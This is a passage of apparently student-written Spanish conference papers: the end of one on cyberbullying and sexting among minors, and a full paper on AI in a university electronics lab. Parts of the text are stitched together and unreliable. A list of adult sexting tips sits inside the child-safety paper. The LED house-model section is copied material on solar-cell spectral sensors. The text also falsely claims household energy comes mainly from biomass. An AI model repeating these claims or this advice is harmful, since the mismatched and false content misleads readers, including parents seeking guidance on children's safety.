Los padres debemos ser esa guía que ellos necesitan porque hoy en día la tecnología es parte de nuestras vidas es algo ya común porque una cosa es saber hacer algo y otra es saber cuidarse y es lo que los padres piensan que los hijos saben hacer bien las cosas. La tecnología el uso del internet el uso de las redes sociales arrastra millones de cosas a las cuales los niños jóvenes menores de edad son expuestos si no tomamos las mayores precauciones para que esto no pase.

Cyberbullying

Los medios de comunicación se constituyen en el espejo de los niños y jóvenes, de ahí la importancia de la regulación de la información que se publica y la hora que se presentan, discreción y control de medios, por partes de los padres de familia. Los jóvenes van adoptando ciertos comportamientos erróneos de uso de la tecnología.

Según (Smith, Mahdavi, Carvalho y Tippett, 2006) define que el ciberbullying como “el ciberacoso se define como una agresión intencional que se da repetidas veces usando formas electrónicas de contacto, por parte de un grupo o un individuo, a una víctima que no puede defenderse fácilmente por sí misma”

Según (Campbell, 2005) lo define como “aunque el ciberbullying puede ser considerado como una nueva modalidad o subtipo del bullying, el uso de medios electrónicos para acometer las agresiones hace que este tipo de acoso tenga una característica distintas y propias”.

Según (Luengo Latorre, José, 2010) define que “el ciberbullying como una agresión psicológica que, de forma intencionada y repetida, ejercen uno o varios individuos contra otros

utilizando para las nuevas tecnologías”. El cyberbullying es un daño causado repetitivamente de uno o más sujetos en contra de un individuo, utilizando dispositivos o servicios de tecnología. Se presenta en diversas maneras entre ellas están, el arrastre, Hostigamiento, Mensaje de textos, Llamas, Acecho”.

- Hostigamiento (harassment) consiste en las amenazas e insultos recibido de forma frecuente por medio de email, Gmail, mensajes de textos, comentarios etc, hacia un menor de edad (niña o niño) adolescente, hasta mayores de edad.
- Mensaje de texto (texting) consiste cuando un agresor envía a la víctima mensajes de carácter sexual; realizando fotografías, videos teniendo relaciones sexuales y son enviado a las redes sociales.
- Llamas (Flaming) consiste en insultos masivos que recibe la victima a través de medios virtuales, y estos son trasmitidos a varias personas.
- Acecho (stalking) consiste en mensajes constantes de “afecto” o “control” que realiza la persona o acosador con la victima ha iniciado una relación.

El fenómeno trasciende a partir del siglo xx en la cual se demostró más en los porcentajes de cada país de manera precisa. Es por esto que se busca conocer el impacto que tiene en la sociedad, especialmente entre menores de edad y adolescentes. A partir del año 2000 se han realizado más campañas en contra a estos actos y se busca estrategias para hacerle frente a la situación.

En el 2012 se dio unos de los casos más virales, en la cual la víctima fue Amanda toda una joven canadiense de 16 años que cursaba el séptimo grado de su escuela. El 7 de septiembre del presente año subió en YouTube un video de 9 minutos de duración en la cual mostraba agobio, acoso, suicidio y autolesiones en el que mediante el video en hojas explicaba su atormentada experiencia.

Amanda toda explicaba en su video como ella ingenuamente se dejó convencer, en enseñar sus pechos a un sujeto desconocido por medio de la Webcam, poco después su vida comenzó a convertirse en toda una tortura, el sujeto la presionaba que le hiciera un baile sexy caso contrario si no lo hacía subiría aquellas fotos. Al no subirla se enteró que ya estaban sus fotos circulando en las redes, ella entro en depresión por la situación, ya que sus familiares, compañeros las juzgaban decidió suicidarse un 10 de octubre del 2012 dejando este video circulando en internet.

En el 2015 María José de 13 años, ella fue víctima de acoso de ciberbullying por parte de uno de sus compañeros del colegio, quien empezó a subir montajes fotográficos obscenos para desprestigiarla, aquellas publicaciones accedieron sus amigos y familiares, todo esto fue causado porque no acepto ser la novia del sujeto. Este tipo de agresiones, desprestigios, daños preocupan a los docentes de las instituciones, actualmente en el país ocurre de cada 10 niñas o niños 8 casos de Ciberbullying, aproximadamente el aumento de estos casos inicia desde el 2010. Según la niñez y adolescencia de 3 mil estudiantes consultado entre 8 años y 17 años 1.900 declararon sufrir este tipo de violencia.

Vivimos en una época marcada por la violencia, la delincuencia cada vez es más latente el mal uso de la tecnología careciendo de valores, enlazados a una sobrevaloración de las TIC's en especial de la Tecnología móvil que se ha convertido en nuestro verdadero amor porque es quien pasa mayor parte de tiempo a nuestro lado. En efecto, los hogares se han vuelto vulnerables en las pláticas, diálogos, que ayude a disminuir la carencia de confianza hacia sus seres queridos, a veces la discriminación el castigo, la vergüenza ante la sociedad, hace que estas situaciones no salgan a la luz por medio de denuncias.

Actualmente el acoso cibernético es un problema social que afecta a la sociedad educativa del País y del Mundo, a donde a pesar, que muchos de ellos conocen sus derechos y deberes en las leyes que los ampara, no comunican a sus padres o familiares ni mucho menos realizan la denuncia respectiva, por miedo a amenazas realizadas por los agresores o acosadores, ya que estamos en una sociedad de actos de discriminación.

El ciberbullying puede ser realizado por cualquier menor, sin necesidad de que sea compañero de la escuela. A diferencia del Bullying tradicional, cuando el acoso es realizado por un grupo de menores, en el ciberbullying no suele haber un liderato manifiesto de ninguno de los componentes. En el Bullying tradicional predomina el acoso por parte de niños, en el ciberbullying en género se reparte más equitativamente.

Amenaza de los menores en la web, Sexting.

En los últimos tiempos el uso de la tecnología se ha vuelto una gran amenaza ante la sociedad, más frecuentemente entre los niños y jóvenes que peligrosamente hacen un mal uso de las tecnologías de la información y comunicación (TIC's). En nuestra actualidad este tipo de problemas viene aliado de personas que buscan aprovecharse de los más inocentes, utilizando

así anónimos que les brinda la red para poder ganar la confianza de los niños y adolescentes y los conlleva a situaciones extremadamente peligrosas, en los peores de los casos la muerte.

La amenaza de los menores en la web se debe al crecimiento del uso de Internet por parte de los menores de edad, presentando riesgos que alarman a la sociedad, que a la vez se ven sometidos en su relación cotidiana al uso de este medio de comunicación, de tal manera que afectan a su normal desarrollo y en muchos de los casos a su integridad física y psicológica (Alarcón, 2016).

El presente trabajo se enfoca principalmente en la amenaza de los menores en la web “sexting”, siendo necesario dar a conocer el concepto del mencionado término el cual significa Sex (sexo), texting (envío de mensajes a través de teléfonos móviles). Mejía, (2014) Refiere al Sexting como un neologismo integrado ya plenamente a la literatura médica hispanoparlante que significa recibir, enviar o reenviar mensajes de texto, imágenes o fotografías que presentan un contenido sexual explícito, vía Internet o teléfono celular. Para lo cual una gran parte de estas fotografías se diseminan de manera rápida, difícil de controlar y extensa a través de las redes sociales.

Es importante señalar que este tipo de imágenes o videos son realizados y enviados por los mismos remitentes de manera voluntaria, en otros casos son realizados y enviados por otras personas, pero con el consentimiento del protagonista. Refiriéndonos a los menores como tal, no se considera que realizan el sexting como se mencionó anteriormente, ya que estos son engañados pese a que en ciertos casos lo hacen voluntariamente. Se puede diferenciar al Sexting como dos actores diferentes, el que realiza la acción de grabarse y enviarla llamado “sexting activo”, y el que lo recibe llamado “sexting pasivo” (Padilla, 2017).

Según Cerón, Eismanb, & Palomares, (2018) menciona que entre los principales riesgos presentes en el mundo digital se lo puede relacionar y potenciar como ocurren en el “porno de la venganza”, donde se presentan y potencian Sexting y Cyberbullying, a la vez se analizan diversos escenarios que ponen en peligro a niños y jóvenes, tales como:

- a) El acoso o agresiones entre adultos en internet o Cyberacoso,
- b) El acoso o agresión entre menores o pares en internet o Cyberbullying,
- c) Difundir intimidad sexual o Sexting,
- d) Agresiones a profesorado o exprofesores en redes sociales y,
- e) Engaño online a menores de edad por parte de adultos o Grooming.

Lo que No debes hacer a través de mensajes web

- Practicar Sexting con alguien que recién conoces.
- Enviar fotos explícitas donde además aparece tu rostro.
- Estar tan motivado-a con la idea que no lees el ritmo o disposición del otro-a, quien quizás no está en el mejor momento para conectar con tus intenciones. Por lo tanto, si se tardan en responder, intenta suavizar las insinuaciones.
- No enviar emoticonos con caritas felices...eso déjalo para otro tipo de conversaciones. En este contexto en que intentas mostrarte sensual y sexy, no queda bien enviar dibujitos.

En este artículo se tratará de analizar a profundidad el fenómeno del sexting en personas adolescentes y tiene una tendencia, por parte de fiscales americanos, van a procesar estos mismos adolescentes por producción, posesión o distribución de pornografía infantil dando así una solución al problema que, hace poco tiempo, se viene planteando en varios lugares, abordaremos brevemente los potenciales problemas incluidos al sexting, refiriéndonos a su definición y a la extensión del problema.

La gran mayoría de niños y niñas tienen acceso a sus celulares móviles y a las redes sociales, los adolescentes por su propia naturaleza están siempre conectados con las nuevas tecnologías, conociendo sus límites y explorándose ellos mismos, experimentan una libertad que las tecnologías llevan con ellos, los padres han luchado por tratar de arreglar el problema y plantean como proteger adecuadamente a los adolescentes frente a los nuevos peligros que se derivan a la libertad digital.

3. MATERIALES Y MÉTODOS

Una de los principales y más importantes puntos a tratar es el análisis de requerimientos para solucionar los problemas presentados por medio del mal uso de las redes sociales, para prevenir y frenar estos acosos en la red es necesario tomar en cuantos ciertos consejos:

No respondas mal ni le tomes represaría a tu hijo si sufre de estos acosos, es mejor darle consejos de cómo utilizar sus redes, es importarte guardar todo tipo de evidencias para realizar futuras investigaciones y dar con la persona que comete estos actos, buscar ayuda especial como psicólogos, pediatras para salvaguardar la salud mental y física de nuestros hijos, es muy importante que existe una buena comunicación entre padres e hijos para que cuando suceda

Esto nos avisen de inmediato para tomar acciones al asunto

Imagen 1: Representación de las imágenes es sobre la comunicación entre familia para prevenir acosos en los niños.

Según (Casado, 2015), tienes que considerarte afortunado si tu hijo pide ayuda. La mayoría de los jóvenes no les dicen a sus padres que están siendo marginados. Así que, si tu hijo pierde el sueño, no quiere ir a la escuela o parece agitado cuando enciende su móvil, pregúntale el porqué de forma tranquila y lo más abiertamente posible. Siéntete libre de preguntar si tiene algo que ver con un comportamiento negativo o rebelde o si se trata de algún tipo de problema social. Pero incluso si es por eso, no asumas que es bullying. No lo sabrás hasta que sepas toda la historia completa, empezando con conocer la perspectiva del menor.

De acuerdo a (Casado, 2015), trabaja con tu hijo. Deberás involucrarte con sus problemas para ayudarlo a recuperarse. El bullying está íntimamente ligado a la vida en el colegio y los niños entienden la situación y el contexto mejor que sus padres. Su perspectiva es la llave para llegar al fondo de la cuestión y trabajar en una solución. Quizá necesites tener una conversación privada con otros, pero deja que tu hijo lo sepa y comunícale lo que has hablado.

En este contexto (Casado, 2015), piensa antes de dar una respuesta rápida. Lo que los padres no siempre saben es que pueden empeorar la situación si actúan apresuradamente. Si respondes públicamente o si los compañeros de clase se enteran de tu reunión con las autoridades de la escuela tu hijo puede ser más severamente marginado, por lo que cualquier medida necesita ser bien pensada. La última meta es que tu hijo recupere el respeto por sí mismo. Este es el mejor camino para solucionar el problema y ayudar a que tu hijo se recupere. Lo que las víctimas necesitan con más urgencia es recuperar su sentido de la dignidad y la autoestima. Algunas veces esto requiere tomar medidas contra bully, pero en otras ocasiones no.

Por otro lado (Casado, 2015), tenemos un lado positivo, la resiliencia. Sabemos que el ser humano nunca erradicará de forma completa la crueldad y también somos conocedores de que el bullying no es un mero rito de paso. Tenemos que seguir trabajado para acabar con ello, pero cuando sucede y lo superamos, nuestra resiliencia crece. No es algo que pueda ser descargado o enseñado. Crecemos a través de superación de retos y complicaciones, así que algunas veces es importante dejar espacio para que esto pueda llevarse a cabo, estando ahí para cuando nos necesiten.

4. CONCLUSIONES

El cyberbullying es un problema relevante en la actualidad, el mal uso de la tecnología es notoria ya que cada, horas, minutos, segundos, se presenta casos de cyberbullying o cyberacoso, utilizando nuevas técnicas hacia las víctimas.

5. RECOMENDACIONES

Tener más control en la seguridad de los jóvenes, es muy importante que sus padres estén pendientes de ellos, la tecnología cada vez es más innovadora, haciendo bien y mal.

REFERENCIAS BIBLIOGRÁFICAS

Alarcón, M. (2016). Delitos contra menores en Internet. (M. Villanueva, Ed.) *Universitat Jaume*.

Amiga, P. (02 de 02 de 2010). *Posts Tagged "Inteco"*. Obtenido de Seguridad en Internet: <https://seguridadinternet.wordpress.com/tag/inteco/>

Casado, E. (14 de MAYO de 2015). *blogthinkbig*. Obtenido de blogthinkbig.com: <https://blogthinkbig.com/consejos-para-frenar-el-ciberbullying>

- Campbell. (2005). *Cyberbullying: And old problem in a new guise?* Australia: P.68.
- Ceróna, M., Eismanb, L., & Palomaresc, F. (27 de Febrero de 2018). Grooming, Ciberbullying y Sexting en estudiantes en Chile, según Sexo y tipo de administración escolar. *Revista Chilena de Pediatría*.
- Luengo Latorre, José. (2010). *Ciberbullying: Guía de recursos para centros*. Madrid: P.14.
- Mejía, G. (10 de Agosto de 2014). Sexting: una modalidad cada vez más extendida de violencia sexual entre jóvenes. *Vol. 28*(Nº 4).
- Padilla, J. (2017). Seguridad y Riesgos: Cyberbullying, Grooming y Sexting. *MISTIC*.
- Smith, Mahdavi, Carvalho y Tippett. (2006). *An investigation into cyberbullying*. Reino Unido: p.56.

BIOGRAFÍAS DE AUTORES

Intriago Mera José Patricio, Estudiante de la carrera de Ingeniería en Sistemas Computacionales de la Universidad Estatal del Sur de Manabí

Guadamud Moreira Marlon Steven, Estudiante de la carrera de Ingeniería en Sistemas Computacionales de la Universidad Estatal del Sur de Manabí

Moreira Briones Néstor Israel, Estudiante de la carrera de Ingeniería en Sistemas Computacionales de la Universidad Estatal del Sur de Manabí

Rivera Vélez Erick Fabricio, Estudiante de la carrera de Ingeniería en Sistemas Computacionales de la Universidad Estatal del Sur de Manabí

Vicente Fray Romero Castro MG.SIG. Magister en Sistemas de Información Gerencial, Ingeniero en Sistemas. Docente de la Universidad Estatal del Sur de Manabí

ANÁLISIS DE LA UTILIZACIÓN DE INTELIGENCIA ARTIFICIAL EN EL LABORATORIO DE ELECTRÓNICA CARRERA DE INGENIERÍA EN SISTEMAS COMPUTACIONALES

Arguello Pin Jason Jonathan,

Barreto Toala Alexandra Gissela.

Ing. Christian José Álava Mero. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

RESUMEN

Durante años atrás se ha venido escuchando sobre la inteligencia artificial en el Ecuador que está basado en la parte tecnológica de grandes empresas también en universidades de alta calidad a su vez utiliza recursos necesarios para aplicar la inteligencia artificial en sus laboratorios por ende surge esta problemática del laboratorio de electrónica en la carrera de Ingeniería en sistemas computacionales para el cual se efectuó una ficha de observación considerando que este consta de un laboratorio amplio de buena estructura basado en robótica como también electrónica pero estas no cuenta con una tecnología de inteligencia artificial por lo cual se analizara los diferentes dispositivos o aparatos electrónicos en el que se trabaja día a día con sistemas autónomos existentes para los distintos tipos de percepciones y acciones desarrolladas durante la práctica, la capacidad de la inteligencia artificial tiene como objetivo mejorar la calidad de enseñanzas-aprendizaje del ser humano desempeñándose como programador, a su vez resolviendo problemas diseñando aparatos electrónicos para la optimización de tiempo al usuario que requiera implementado sin perder el flujo de programación estas pueden ser obtenidas para ser producidas respectivamente, dentro de la electrónica se hizo la investigación previa para poder relacionar equipos modernos en sistemas inteligentes que deben ser dotados con mecanismos de retroalimentación con el objetivo de ver sistematizado un laboratorio de eficacia.

PALABRAS CLAVE: artificial, imitación, inteligencia, laboratorio, tecnología.

ABSTRACT

For years, we have been hearing about artificial intelligence in the Ecuador, which is based on the technological part of large companies, also in high-quality universities. At the same time, it uses the necessary resources to apply artificial intelligence in its laboratories. electronic laboratory in the engineering career in computer systems for which an observation card was made considering that it consists of a broad laboratory of good structure based on robotics as

well as electronics but these do not have an artificial intelligence technology for which it will analyze the different devices or electronic devices in which one works day by day with existing autonomous systems for the different types of preceptions and actions developed during the practice, the capacity of the artificial intelligence has as objective to improve the quality of teachings-learning e of the human being playing as a programmer, in turn solving problems designing electronic devices for the optimization of time to the user that requires implemented without losing the programming flow these can be obtained to be produced respectively, within the electronics the previous research was done to be able to relate modern equipment in intelligent systems that must be equipped with feedback mechanisms in order to systematized an efficiency laboratory.

KEY WORDS: artificial, imitation, intelligence, laboratory, technology.

1. INTRODUCCIÓN

Este trabajo se realizó con el fin de analizar la utilización de la inteligencia artificial basados en estudio en un laboratorio de robótica.

En el ámbito de las ciencias de la computación se denomina como inteligencia artificial a la facultad de razonamiento que ostenta un agente que no está vivo, tal es el caso de un robot, por citar uno de los ejemplos más populares, y que le fue conferida gracias al diseño y desarrollo de diversos procesos gestados por los seres humanos. Cabe destacarse que además del poder de razonar, estos dispositivos son capaces de desarrollar muchas conductas y actividades especialmente humanas como puede ser resolver un problema dado, practicar un deporte, entre otros. (González, 2013)

La inteligencia artificial (IA) comenzó a utilizarse más en la década de 1980, cuando se desarrollaron sistemas expertos para imitar el proceso de toma de decisiones humanas. Sin embargo, en los últimos años, la tecnología ha avanzado considerablemente, porque Internet permite una mayor escala de datos, y la informática de alta velocidad ha multiplicado el poder de procesamiento. Los avances en las redes neuronales artificiales han producido una técnica llamada aprendizaje profundo, que ha permitido desarrollar una serie de tecnologías tales como coches sin conductor, recomendaciones de Netflix, traducciones en tiempo real, reconocimiento facial, e imágenes médicas que pueden superar a la radiología tradicional. Pero en muchos casos, las herramientas de IA son propietarias, complejas y no pueden ser utilizadas por cualquiera que no trabaje en una compañía o laboratorio. Por ello es importante que estos tipos de proyectos se ubiquen en un lugar público como las bibliotecas, en el que todos tienen

la posibilidad de acceder a los conocimientos en el mismo plano de igualdad. (Jalonsoarevalo, 2018)

En Ecuador, Manabí no existe investigaciones dedicadas al análisis de la inteligencia artificial en el laboratorio es por ende surge esta investigación por conocer el análisis de la (IA). (Arguello, 2018)

2. DESARROLLO

La inteligencia artificial (Artificial Intelligence, o AI) es la simulación de procesos de inteligencia humana por parte de máquinas, especialmente sistemas informáticos. Estos procesos incluyen el aprendizaje (la adquisición de información y reglas para el uso de la información), el razonamiento (usando las reglas para llegar a conclusiones aproximadas o definitivas) y la autocorrección. Las aplicaciones particulares de la AI incluyen sistemas expertos, reconocimiento de voz y visión artificial.

El término AI fue acuñado por John McCarthy, un informático estadounidense, en 1956 durante la Conferencia de Dartmouth, donde nació la disciplina. Hoy en día, es un término general que abarca todo, desde la automatización de procesos robóticos hasta la robótica actual. Ha ganado prominencia recientemente debido, en parte, a los grandes volúmenes de datos, o al aumento de velocidad, tamaño y variedad de datos que las empresas están recopilando. AI puede realizar tareas tales como identificar patrones en los datos de manera más eficiente que los seres humanos, lo que permite a las empresas obtener más información sobre sus datos. (Rous, 2017)

La Inteligencia artificial es el campo científico de la informática que se centra en la creación de programas y mecanismos que pueden mostrar comportamientos considerados inteligentes. En otras palabras, la IA es el concepto según el cual “las máquinas piensan como seres humanos”.

Normalmente, un sistema de IA es capaz de analizar datos en grandes cantidades (big data), identificar patrones y tendencias y, por lo tanto, formular predicciones de forma automática, con rapidez y precisión. Para nosotros, lo importante es que la IA permite que nuestras experiencias cotidianas sean más inteligentes. ¿Cómo? Al integrar análisis predictivos (hablaremos sobre esto más adelante) y otras técnicas de IA en aplicaciones que utilizamos diariamente.

1. Siri funciona como un asistente personal, ya que utiliza procesamiento de lenguaje natural
2. Facebook y Google Fotos sugieren el etiquetado y agrupamiento de fotos con base en el reconocimiento de imagen
3. Amazon ofrece recomendaciones de productos basadas en modelos de canasta de compra
4. Waze brinda información optimizada de tráfico y navegación en tiempo real. (slaesforce, 2017)

Parámetros - Programación de circuitos Arduino uno

Una de las tablas Arduino más populares es Arduino Uno. Si bien fue no es la primera placa en ser lanzada, sigue siendo la más utilizada y más ampliamente documentado en el mercado. Debido a su extrema popularidad, el Arduino Uno tiene un montón de tutoriales y foros de proyectos en la web que pueden ayudar comienzas o salgas de un aprieto. Somos grandes admiradores de Uno porque es genial características y facilidad de uso.

Cómo programar Arduino: Una vez que el circuito ha sido creado en la placa, tendrá que cargar el programa (conocido como un boceto) para el Arduino. El boceto es un conjunto de instrucciones que le dice a la junta qué funciones necesita realizar. Una placa Arduino solo puede contener y realice un boceto a la vez. El software utilizado para crear bocetos Arduino es llamado el IDE que significa Ambiente de Desarrollo Integrado. El software es de descarga gratuita y se puede encontrar en Es posible que se pregunte qué puede hacer una placa Arduino además de parpadear un LED. Abajo son algunos ejemplos de proyectos que ayudan a mostrar cuán asombroso es este tablero y las capacidades de eso. Si está buscando más ideas de proyectos, visite los sitios como Instructables o Make Magazine que están cargados con útiles tutoriales. (programadores.com, 2018)

Funcionamiento de los aparatos electrónicos de elaboración

Elaboración de parlantes

Conocidos también como altoparlante o bocina, es un dispositivo utilizado para la reproducción de sonido.

Los parlantes cumplen la función contraria a los micrófonos, ya que transforman las señales eléctricas en variaciones de la presión del aire.

Un transductor es un dispositivo que transforma un tipo de energía en otro. Un parlante (o

altavoz) de bobina móvil es un transductor electromecánico, que transforma energía eléctrica contenida en una corriente eléctrica, en energía sonora (i.e., energía acústica audible para el ser humano).

Específicamente, un parlante sirve para convertir la información (voz, música, sonidos en general) transportada por una señal eléctrica, en una señal audible para el ser humano (entre 20-30 Hz y 16-20 kHz aproximadamente).

Pero en general, la utilidad del parlante es la del conjunto del que forma parte. Por ejemplo, un equipo de amplificación sirve para elevar la intensidad del sonido. Primero la señal acústica débil se transduce a una eléctrica. Ésta se amplifica electrónicamente, y luego, a través del parlante, se reproduce a mucha mayor intensidad. Lo mismo puede decirse de equipos que hacen otras cosas con el sonido, además o en vez de amplificarlo.

Algunas de las antiguas "muñecas que hablan" usaban el principio del viejo fonógrafo: en su interior tenían una púa de cristal que recorría los surcos de un pequeño disco plástico que giraba al presionar la muñeca. El surco tenía grabado relieves con la información sonora, y una lengüeta de latón transmitía las vibraciones de la púa a un cono plástico, que al vibrar reproducía "ma-má". En este caso, el parlante era un transductor sin bobina, de energía mecánica (vibraciones) en energía también mecánica (ondas sonoras).

Mediante la implementación de una bobina que pueda desplazarse axialmente y la utilización de imanes, el parlante puede reproducir mayor rango de frecuencias sonoras a grandes potencias y con menor distorsión.

Primero, el voltaje de salida del amplificador de un equipo de música, radio o TV tiene las variaciones del sonido que se quiere reproducir. Si se conecta la salida del amplificador a la bobina móvil, circula una corriente con las variaciones correspondientes al sonido. Debido a un principio básico de la Naturaleza (Ley de Ampère, una de las 4 leyes del Electromagnetismo), la corriente en la bobina genera un campo magnético con las variaciones de la señal de interés.

Segundo, si la bobina móvil está inmersa en una región con campo magnético, existirán fuerzas atractivas y repulsivas entre la bobina y el imán, debidas al campo variable de la bobina y al campo estático del imán. Si el imán está fijo, estas fuerzas producirán el movimiento de la parte móvil, la bobina. La forma de obtener una señal acústica de esto es entonces adherir a la bobina un cono que mueva el aire que le rodea.

La mayoría de los parlantes de bobina móvil tienen 5 partes básicas:

- bobina móvil cilíndrica, de material liviano y alambre de cobre, imán permanente anular, generalmente cerámico (ferromagnético), magnetizado axialmente, disco

posterior magnético blando, generalmente metálico (ferromagnético)

- cilindro concéntrico magnético blando, generalmente metálico (ferromagnético), concéntrico con el disco (3) y la bobina (1), y 'cono' o diafragma cónico de cartón o plástico, adherido a la bobina (1).

La corriente eléctrica variable interactúa con el campo estático, produciéndose una fuerza magnética (de Lorentz) sobre la corriente (y por lo tanto sobre la bobina). La magnitud de esta fuerza es proporcional a la intensidad del campo estático y a la intensidad de la corriente. Por lo tanto, la fuerza sobre la bobina seguirá las variaciones de la corriente, y además, su principal componente está en la dirección axial, ya que la fuerza de Lorentz es perpendicular al plano que forman la corriente y el campo magnético. Por lo tanto, la bobina se desplaza longitudinalmente según las variaciones de la corriente.

Como la bobina móvil se encuentra adherida al cono, éste se mueve desplazando el aire hacia atrás y adelante (como se esquematiza con una doble flecha), generando longitudinalmente ondas elásticas de presión (es decir, ondas acústicas). De éstas, las que varían aproximadamente entre unos 20 y 20000 ciclos por segundo (20 Hz - 20 kHz), son audibles (sonoras), porque producen vibraciones en pequeños huesos del oído, que son detectadas por el sistema auditivo humano.

Los terminales eléctricos de la bobina móvil, en principio no tienen polaridad. Sin embargo, cuando el equipo tiene más de un parlante, es importante que las ondas sean emitidas en fase (para evitar distorsión), y por lo tanto, uno de los terminales se indica como positivo con un "+" o con una marca de color rojo. La convención más usada es que si se conecta una pila a la bobina móvil, el cono se mueve hacia adelante cuando el positivo de la pila está conectado al terminal rojo del parlante.

Como vemos, el parlante básico consiste de un cono (de cartón) de un lado y un núcleo plástico envuelto en cable de cobre del otro. Detrás del cono se encuentra un imán. A medida que la señal de audio pasa por el parlante este se mueve para adelante y atrás, haciendo vibrar el aire a su alrededor, reproduciendo de esta manera el sonido. Los parlantes más grandes pueden producir sonidos de menor frecuencia y los parlantes más pequeños los sonidos de mayor frecuencia. (Rincon, 2018)

Elaboración de una maqueta de casa con sensores led

El ritmo de vida actual supone un consumo energético muy elevado. Realizamos actividades rutinarias en las cuales empleamos energía (principalmente eléctrica) en grandes cantidades con total normalidad como poner la lavadora, cargar nuestro teléfono móvil, ver la tele o encender la luz. La energía consumida proviene principalmente de la biomasa, es decir, de los

recursos materiales que proporciona la naturaleza y se conservan durante largos periodos de tiempo.

Para aprovechar la energía del Sol, en los últimos años se ha introducido la energía solar como recurso energético en los países desarrollados. La lenta evolución de esta tecnología se debe a la profunda investigación que requiere y el elevado coste de los materiales empleados. Actualmente las células fotovoltaicas más empleadas son las convencionales de silicio, uno de los materiales más abundantes en la Tierra. En los últimos años han aparecido células realizadas con otros materiales, inicialmente desarrolladas para aplicaciones aeroespaciales pero que también han encontrado formas de aplicación en el mercado terrestre.

Las tecnologías de célula conocidas como células multi-unión (MJ), que están formadas por varias sub-células, típicamente 3 apiladas en serie tienen bastantes ventajas frente a las convencionales de silicio, pero cuya complejidad es superior y por ello su uso no es todavía muy común a niveles comerciales. Estas tecnologías proporcionan eficiencias de conversión superiores al 45%, más del doble de la eficiencia típica de una célula de silicio. La incorporación de este tipo de células en sistemas fotovoltaicos de concentración (CPV) es un hecho clave para aumentar su eficiencia y su competitividad.

Una de las características de las células MJ es su gran sensibilidad al espectro de la luz incidente. Su alta eficiencia radica en un mejor aprovechamiento del espectro solar, pero eso las hace más sensibles a las variaciones espectrales de la luz incidente. Puesto que el espectro que reciben las células MJ en las aplicaciones terrestres depende mucho de las condiciones externas y éstas varían según la atmósfera, la estación del año, la hora del día y la situación geográfica, surge la necesidad de caracterizar el espectro solar con mayor detalle. Por ello, el objetivo de este proyecto es desarrollar sensores espectrales para la caracterización tanto de la radiación solar como de sistemas de luz artificial empleados en el laboratorio para medir estos dispositivos.

La particularidad de los sensores que se van a realizar es que utilizan las propias células MJ comerciales como sensor, sustituyendo a sensores específicos, conocidos como células componentes o isotypes, que se han venido utilizando hasta la fecha. Esto permite que los sensores espectrales estén adaptados a cada tecnología de célula. Los sensores isotypes no son comerciales, necesitan desarrollos específicos, son muy caros y dependen de la tecnología de células MJ que evoluciona con el tiempo. Para usar las células MJ como sensores espectrales, es necesario asegurar que la célula responde solamente al intervalo espectral de una de las tres sub-células que componen la célula MJ. Un sensor espectral completo estará compuesto de tres células MJ cada una proporcionando una señal relacionada con una de las tres bandas

espectrales.

El objetivo es conseguir acceder de forma aislada a cada una de 3 las corrientes que genera cada sub-célula del dispositivo MJ, con independencia del espectro de la luz incidente. Esto se consigue con la incorporación de luz de polarización del espectro apropiado que satura en corriente 2 de las 3 sub-células, siendo la tercera la que responde a la luz incidente. Se han diseñado y realizado prototipos de estos sensores espectrales que consisten básicamente en tres elementos: la célula multi-unión como sensor, diodos LED (Diodo Emisor de Luz) de varias longitudes de onda como luz de polarización y un tubo colimador para limitar la apertura angular del sensor. El proyecto recoge los trabajos realizados para el diseño de los dispositivos, su fabricación y su verificación experimental. Además, se reportan ciertas limitaciones encontradas cuando se trata de que la sub-célula de germanio actúe como sensor, así como posibles mejoras. (Pérez Hernández, 2017)

3. MATERIALES Y MÉTODOS

Se efectuó una sistematización de diferentes documentos relacionados con el tema de estudio, mediante la utilización de los buscadores Google Académico se adquirió información de varios artículos científicos, tesis e informes afines al tema de estudio, y mediante una selección exhaustiva se seleccionó la información más relevante, extraída de varios artículos científicos informes, relacionados con los objetivos planteados en la presente investigación, en tanto, el presente estudio es de carácter descriptivo y transversal, con un enfoque mixto y una valoración cuantitativa y cualitativa que determinara el análisis de la inteligencia artificial en los laboratorios de electrónica dicho análisis existe poco interés en la tecnología de las inteligencia artificial (I.A).

Se realizó el análisis del laboratorio de electrónica por contar con un espacio amplio en estructura, que está basado en tecnología de programación y robótica diagnosticando deficiencia en la práctica de inteligencia artificial para diferentes aparatos electrónicos que se utiliza en dicho laboratorio (Arguello, 2018)

4. RESULTADOS Y DISCUSIÓN

Mediante la metodología de la ficha de observación dieron como resultado que el laboratorio de electrónica elabora diseños y circuitos de electrónica, pero este laboratorio no cuenta con inteligencia artificial.

TABLA #1: Ficha observación del laboratorio de electrónica.

FICHA DE OBSERVACION	
Fecha:	DESCRIPCION
Este análisis se realizó en el laboratorio de la carrera de Ingeniería en Sistemas Computacionales en donde se realizó una recolección de información de cada uno de los diseños y circuitos que utilizan los estudiantes y profesores los cuales no incluyen la inteligencia artificial que sería de gran beneficio para la Carrera
ENCUESTADOR: Jonathan Arguello – Gissela Barreto	

Se pudo determinar que, si se utilizaría la inteligencia artificial los dispositivos, y circuitos mejoraría la facilidad de tomar acciones, facilitando y beneficiando al estudiante además a la Carrera de Ingeniería en sistemas Computacionales.

5. CONCLUSIONES

Basándose en el estudio del laboratorio se aplicó una estrategia fundamental para mejorar el laboratorio con inteligencia artificial ayudando para los estudiantes de la carrera de ingeniería en sistemas computacionales con una elaboración de aparatos electrónicos teniendo como conclusión la importancia en el manejo de inteligencia artificial facilitando la vida de muchas personas optimizando tiempo en diferentes ámbito laboras y ayudando al desarrollo mental del estudiante esforzando su técnica de aprendizaje para aplicarlo en los laboratorios de la carrera de ingeniería en sistemas solucionando problemas de muchas empresas y universidades dejando en alto la universidad en el cual aprendió sobre inteligencia artificial y robótica en

dicho laboratorio con herramientas profesionales.

REFERENCIAS BIBLIOGRÁFICAS

(s.f.).

Arguello, J. (09 de 12 de 2018).

Cesar, S. M. (16 de 09 de 2018). *Lenguaje de Programacion*. Obtenido de <http://sandovalmendozacesar.blogspot.com/2015/04/circuitos-electronicos.html>

González, G. A. (14 de 08 de 2013). *Definición ABC*. . Obtenido de <https://www.definicionabc.com/tecnologia/inteligencia-artificial.php>

Jalonsoarevalo. (17 de 09 de 2018). *Universo Abierto*. Obtenido de <https://universoabierto.org/2018/09/17/un-laboratorio-de-ia-en-una-biblioteca-por-que-es-importante-la-inteligencia-artificial/>

Pérez Hernández, H. (17 de 07 de 2017). *Archivo digital upm*. Obtenido de Archivo digital upm: <http://oa.upm.es/52427/>

